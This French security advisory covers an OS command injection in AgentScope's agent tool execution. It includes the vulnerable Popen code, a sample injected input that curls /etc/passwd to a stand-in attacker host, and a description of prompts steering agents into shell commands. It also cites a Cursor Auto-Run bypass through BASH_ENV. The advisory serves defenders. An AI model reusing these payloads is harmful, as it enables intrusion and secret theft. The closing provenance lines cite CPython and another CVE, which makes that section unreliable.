CVE-2026-123022 : injection de commandes OS dans l'exécution d'outils d'AgentScope
Une vulnérabilité critique d'injection de commandes OS (CVE-2026-123022) affecte le framework multi-agents agentscope-ai AgentScope (versions jusqu'à 2.0.11 inclus). Dans la boucle d'exécution d'outils d'agents, la fonction subprocess.Popen évalue directement des chaînes de commande générées par les modèles sans assainissement. Un attaquant distant ou un prompt malveillant peut injecter des opérateurs shell pour exécuter des commandes arbitraires sur les serveurs d'orchestration, dérober les clés d'API des modèles LLM et compromettre l'espace d'exécution de la flotte d'agents. La mise à niveau vers AgentScope 2.0.12 est impérative.
SCORE DE MENACE HERMES & ÉVALUATION D'INFRASTRUCTURE AGENTIQUE
Cible :Moteur d'exécution d'outils et pipeline subprocess.Popen d'AgentScope (<= 2.0.11) 1. Architecture de la faille et mécanisme d’exploitation
Section intitulée « 1. Architecture de la faille et mécanisme d’exploitation »AgentScope est une plateforme multi-agents permettant d’orchestrer des nuées d’agents LLM pour automatiser des processus métier complexes. Lors de l’invocation dynamique d’outils externes, AgentScope exécutait des processus système via subprocess.Popen avec l’option shell activée :
# Implémentation vulnérable dans le module d'outils d'AgentScopedef execute_tool_command(command_str: str): # Exécution via le shell de chaînes injectables proc = subprocess.Popen(command_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = proc.communicate() return stdout.decode()L’utilisation de shell=True sans factorisation en tableau d’arguments (["binaire", "arg1", "arg2"]) permet à un attaquant injectant des instructions dans le contexte d’un agent d’insérer des métacaractères shell (&&, ;, |) pour déclencher l’exécution de code arbitraire :
# Paramètre injecté déclenchant un reverse shelltool_input="clean_data.py; curl -s https://attacker-c2.internal/exfil?k=$(cat /etc/passwd | base64)"2. Impact sur les écosystèmes d’agents d’entreprise
Section intitulée « 2. Impact sur les écosystèmes d’agents d’entreprise »- Prise de contrôle de l’infrastructure hôte : obtention d’un accès shell direct sur les clusters d’orchestration hébergeant les agents.
- Exfiltration des secrets d’API LLM : exposition des variables d’environnement contenant les clés d’API OpenAI, DashScope, Gemini et Anthropic.
- Subversion de la mémoire multi-agents : manipulation des états conversationnels partagés, faussant les décisions prises par d’autres agents de la chaîne.
3. Renseignement sur la menace & indicateurs de compromission (IOCs)
Section intitulée « 3. Renseignement sur la menace & indicateurs de compromission (IOCs) »Indicateurs hôte et runtime exploitables
Section intitulée « Indicateurs hôte et runtime exploitables »| Type d’indicateur | Observable / Valeur | Rôle / Contexte | Statut |
|---|---|---|---|
| Injection de commande | Paramètres comprenant ;, &&, ` | ` ou des backticks | Charge utile d’appel d’outil tentant une évasion shell |
| Filiation de processus | Shell enfant /bin/sh -c engendré par python (worker AgentScope) | Création anormale de shell sous le démon d’agent IA | CRITIQUE |
| Télémétrie réseau | Requêtes HTTP/DNS sortantes vers des domaines C2 suspects depuis les pods | Exfiltration de données ou établissement de reverse shell | MALVEILLANT |
| Signature de journal | agentscope.tool.execute: 'Executing unescaped shell string' | Avertissement émis par le runtime d’outils | CONFIRMÉ |
4. Matrice des versions & ingénierie du correctif
Section intitulée « 4. Matrice des versions & ingénierie du correctif »La vulnérabilité a été corrigée dans AgentScope version 2.0.12 en remplaçant subprocess.Popen(command_str, shell=True) par une tokenisation des arguments via shlex.split() et un passage sous forme de tableau immuable :
| Branche produit | Versions vulnérables | Version corrigée | Statut du correctif |
|---|---|---|---|
| AgentScope 2.0.x | <= 2.0.11 | 2.0.12 | Correctif de sécurité officiel |
| AgentScope 1.x | Toutes versions | Migrer vers 2.0.12 | Montée de version majeure recommandée |
5. Recommandations et mesures de remédiation
Section intitulée « 5. Recommandations et mesures de remédiation »- Mise à niveau immédiate : déployer AgentScope version
2.0.12ou supérieure où l’invocation de shell est supprimée au profit de tableaux d’arguments stricts. - Confinement en bac à sable : isoler l’exécution des outils d’agents dans des micro-conteneurs non privilégiés (gVisor ou profils seccomp stricts).
- Application des garde-fous AAP-003 : mettre en œuvre une validation de schéma typée sur l’ensemble des paramètres d’outils avant leur passage aux runtimes natifs.
CVE-2026-123022: AgentScope Multi-Agent Platform OS Command Injection in Tool ExecutionVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in CPython Interpreter & Standard Library documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“CVE-2026-123022 weaponizes the agentic attack pattern formalized under AAP-003.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source : Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Fiabilité : HIGH)